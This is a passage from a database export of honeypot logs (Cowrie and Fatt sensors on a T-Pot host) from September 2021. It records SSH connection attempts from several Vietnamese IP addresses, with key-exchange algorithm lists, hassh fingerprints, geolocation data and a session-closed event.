"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58944, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.313837", "@timestamp": "2021-09-20T11:07:22.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22710	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:22.954258+03	2021-09-20 14:15:06.5635+03	{"_id": "gQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0d1694153109", "@version": "1", "timestamp": "2021-09-20T11:07:22.954258Z", "@timestamp": "2021-09-20T11:07:22.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22715	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:22.953568+03	2021-09-20 14:15:06.5705+03	{"_id": "bwbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58830, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.953568", "@timestamp": "2021-09-20T11:07:22.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22711	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:22.703564+03	2021-09-20 14:15:06.564502+03	{"_id": "awbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44428, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.703564", "@timestamp": "2021-09-20T11:07:22.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22712	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:22.872356+03	2021-09-20 14:15:06.566522+03	{"_id": "bAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54358, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.872356", "@timestamp": "2021-09-20T11:07:22.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22713	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.927676+03	2021-09-20 14:15:06.567506+03	{"_id": "bQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58830, "timestamp": "2021-09-20T11:07:22.927676", "@timestamp": "2021-09-20T11:07:22.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22714	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:22.947341+03	2021-09-20 14:15:06.5685+03	{"_id": "bgbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36684, "timestamp": "2021-09-20T11:07:22.947341", "@timestamp": "2021-09-20T11:07:22.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22720	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.892396+03	2021-09-20 14:15:06.577502+03	{"_id": "dAbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bdbaa5b030cc", "@version": "1", "duration": 2.782484292984009, "timestamp": "2021-09-20T11:07:22.892396Z", "@timestamp": "2021-09-20T11:07:22.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
